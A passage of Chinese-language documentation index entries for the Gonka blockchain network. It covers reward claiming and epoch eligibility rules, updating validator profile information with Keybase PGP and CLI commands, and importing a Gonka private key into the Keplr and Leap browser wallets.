手动申领不能恢复已过期轮次的奖励。
若 API 节点在第 N+1 轮期间离线且申领窗口已关闭，则第 N 轮的奖励将永久无法恢复。
手动申领仅适用于上一个轮次，且前提是本地仍保存有正确的种子。
手动奖励申领：curl -X POST http://localhost:9200/admin/v1/claim-reward/recover \\ -H \"Content-Type: application/json\" \\ -d '{\"force_claim\": true, \"epoch_index\": 106}'此端点仅在有效的申领周期（N+1）内有效。申领窗口关闭后，过期的奖励将无法恢复。
申领依赖于节点在推断验证中的参与情况。为确保随机性，每个主机（Host）会在周期开始时提交其将用于选择待验证推断任务的随机种子（random seed）的签名。 在执行申领操作时，节点需提供其在周期开始时已上链签名记录的随机种子。
链上系统会验证所有用于验证的推断抽样事件是否均使用了该确切的种子生成。
为完成此验证，系统需要访问所有推断数据，但由于存储成本较高，这些数据仅保留一个周期。
您可使用以下 API 查询推断性能相关信息：GET /chain-api/productscience/inference/inference/epoch_performance_summary/<epochId>/<HostAddress>示例export NODE_URL=http://46.4.101.189:8000/ curl $NODE_URL/chain-api/productscience/inference/inference/epoch_performance_summary/84/gonka1q0a3u8s2azydlu2s2902qxwfz8d7mkze4lf45f | jq这将返回指定纪元（epoch）和主机（Host）的性能摘要。
在以下情况下，主机可能失去获得奖励的资格：
1. 在奖励申领完成前关闭节点
如果主机的 API 节点在奖励成功申领之前被停止、重启或变得不可用，区块链将无法完成申领流程。
2. 过多未完成的推理请求
在整个纪元期间，系统会持续评估推理的正确性。系统跟踪两种独立的故障模式：
这两个指标在整个纪元期间持续采样。如果任一指标在任何时刻超过协议定义的故障阈值，主机将立即面临以下后果：
该纪元内主机的所有工作将不获得任何补偿；所有已贡献的推理请求均视为无报酬。具体参数由协议层定义，并可能通过链上治理机制进行更新。主机应始终以当前链上实现为准，以获取权威行为规范。
3. 提前关闭或管理不当
在证明计算（PoC）完成或奖励申领最终确认前过早关闭节点，将导致奖励丢失。 这些条件由协议层强制执行，且不可逆转。
4. 确认阶段（随机）PoC 失败
未能通过确认阶段的随机 PoC 将对主机的收益产生直接且重大的影响。由于确认阶段 PoC 的目的是确保主机持续维持其声明的计算能力，因此失败将被视为该主机不再提供其声明 PoC 权重所依赖的算力。为此，协议将实施严格的经济惩罚措施：
本指南介绍如何更新您的验证者资料，包括可读名称、网站和头像/身份标识，以便浏览器正确显示信息。
"}, {"location": "gonka/docs/zh/host/validator_info/#_2", "title": "前提条件", "text": "以下是您可以设置或编辑的唯一字段。
字段 标志 用途 / 显示内容 名称（Moniker）--new-moniker 您验证者的公开名称，将在浏览器中显示。 网站（Website） --website 指向您验证者网站或项目页面的链接。显示后，委托人可进一步了解您的信息。 身份（Identity） --identity 通常用于提供身份验证证明（例如 Keybase），许多浏览器使用此ID获取您的头像/标志。您需要从网站下载应用以生成PRP密钥来获取您的标志。"}, {"location": "gonka/docs/zh/host/validator_info/#_4", "title": "分步指南", "text": "如果您还没有PGP密钥，请运行以下命令：
keybase pgp gen\nkeybase pgp gen 为该账户生成一个新的PGP密钥。在所有情况下，它都会使用现有的设备密钥对公钥进行签名，并将签名推送到服务器。因此，用户在执行此操作后将拥有一个公开可见的“PGP设备”。默认情况下，PGP密钥的私钥部分会被写入用户的本地Keybase密钥链，并使用“本地密钥安全”（LKS）协议加密。（更多信息，请尝试 'keybase help keyring'）。此外，默认情况下，如果找到本地GnuPG密钥环，新PGP密钥的公钥和私钥部分都会被导出到其中。您可以指定 --no-export 来阻止将新生成的密钥导出到GnuPG密钥环。在后续访问私钥时——例如用于PGP解密或签名——无需访问本地GnuPG密钥环。Keybase将直接在其自己的本地密钥链中访问私钥。默认情况下，PGP密钥的私钥部分永远不会导出到本地系统之外，但用户可以通过终端提示选择是否将其加密后的私钥存储在Keybase服务器上。
系统会提示您：
如果您已有PGP密钥，请运行以下命令将其导入Keybase：
keybase pgp select\n打开Keybase应用。输入您的真实姓名，该姓名将在浏览器中公开显示。
为您的设备命名（未来无法更改）。
点击左上角的头像，然后点击“查看/编辑个人资料”。
上传您的头像。
复制您的64位PGP ID。您将在下面命令的 --identity 参数中使用它。
更新您的节点信息 运行以下命令以编辑验证者信息。请确保将 cold-key-name、YourNewValidatorName、https://updated.website 和 PGP-64-ID 替换为您自己的值。
./inferenced tx staking edit-validator \\\n --chain-id=\"gonka-mainnet\" \\\n --from <cold-key-name> \\\n --new-moniker <YourNewValidatorName> \\\n --website <https://updated.website> \\\n --identity <PGP-64-ID> \\\n --keyring-backend file \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\n发送交易后，请等待其被打包进区块并被网络确认。
检查您的验证者信息：
./inferenced query staking delegator-validators \\\n <cold-key-address> \\\n --node <NODE_URL>/chain-rpc/\n这应显示已更新的名称、网站和身份信息。
...\nvalidators:\n- commission:\n commission_rates:\n max_change_rate: \"0.010000000000000000\"\n max_rate: \"0.200000000000000000\"\n rate: \"0.100000000000000000\"\n update_time: \"2025-08-27T23:56:24.580275479Z\"\n consensus_pubkey:\n type: tendermint/PubKeyEd25519\n value: XMTuK2T6ojmAfcDzv5scXtl9QkgYaqwAnnyo7BdLKS4=\n delegator_shares: \"186.000000000000000000\"\n description:\n details: Created after Proof of Compute\n identity: 673C81B66A67ED67\n moniker: gonkavaloper18lluv53n4h9z34qu20vxcvypgdkhsg6n02fcaq\n website: https://gonka.ai\n等待浏览器索引新数据（可能需要几分钟到几小时）。然后查看浏览器，您的名称、网站和头像应已显示。
"}, {"location": "gonka/docs/zh/wallet/external_wallets/", "title": "将 Gonka 网络添加到 Keplr 与 Leap 钱包", "text": ""}, {"location": "gonka/docs/zh/wallet/external_wallets/#gonka-keplr-leap", "title": "将 Gonka 网络添加到 Keplr 与 Leap 钱包", "text": "本指南介绍如何在 Keplr 与 Leap 钱包中添加 Gonka 网络。
内容分为两部分：
加密钱包是用于安全存储用户公钥与私钥的容器，帮助管理、转移与购买加密货币。Gonka 基于 Cosmos-SDK 区块链框架构建，可通过 Keplr 或 Leap 钱包访问（更多钱包支持即将到来）。
KeplrLeap访问Keplr 官方网站并点击“Get Keplr wallet”。
选择与你浏览器匹配的扩展程序。
将扩展程序添加到浏览器。
FirefoxGoogle Chrome点击“Import an existing wallet（导入已有钱包）”。
点击“Use recovery phrase or private key（使用助记词或私钥）”。
将你在 CLI 中于此步骤创建的私钥粘贴到此处。不要导入你的恢复（助记词/种子）短语，因为跨链桥需要直接访问原始私钥以签名交易并确保与以太坊的正确互操作性。
为你的钱包设置一个便于识别的名称。
选择 Cosmos Hub 与 Ethereum。
完成 — 你的 Gonka 账户已成功导入 Keplr！
访问Leap 官方网站并点击“Download Leap”。
将扩展程序添加到浏览器。
点击“Import an existing wallet（导入已有钱包）”。
选择“Import private key（导入私钥）”。不要选择“Import recovery phrase（导入助记词）”，因为跨链桥需要直接访问原始私钥以签名交易并确保与以太坊的正确互操作性。
粘贴你在此处通过 CLI 创建的私钥。
创建你的密码。
完成 — 你的 Gonka 账户已成功导入 Leap！
KeplrLeap打开扩展并点击扩展窗口右上角的账户图标。
点击“Add wallet（添加钱包）”。
点击“Import an Existing Wallet（导入已有钱包）”。
点击“Use recovery phrase or private key（使用助记词或私钥）”。
将你在 CLI 中于此步骤创建的私钥粘贴到此处。不要导入恢复（助记词/种子）短语，因为跨链桥需要直接访问原始私钥以签名交易并确保与以太坊的正确互操作性。
为你的钱包设置一个便于识别的名称。
选择 Cosmos Hub 与 Ethereum。
完成 — 你的 Gonka 账户已成功导入 Keplr！
打开扩展并点击扩展窗口顶部中间的青蛙图标与钱包名称按钮。
点击“Create/Import wallet（创建/导入钱包）”。
选择“Import using private key（使用私钥导入）”。不要选择“Import using recovery phrase（使用助记词导入）”，因为跨链桥需要直接访问原始私钥以签名交易并确保与以太坊的正确互操作性。
将你在此处通过 CLI 创建的私钥粘贴到此处。
完成 — 你的 Gonka 账户已成功导入 Leap 钱包（点击顶部中间的青蛙图标与钱包名称按钮即可在钱包间切换）。
"}]}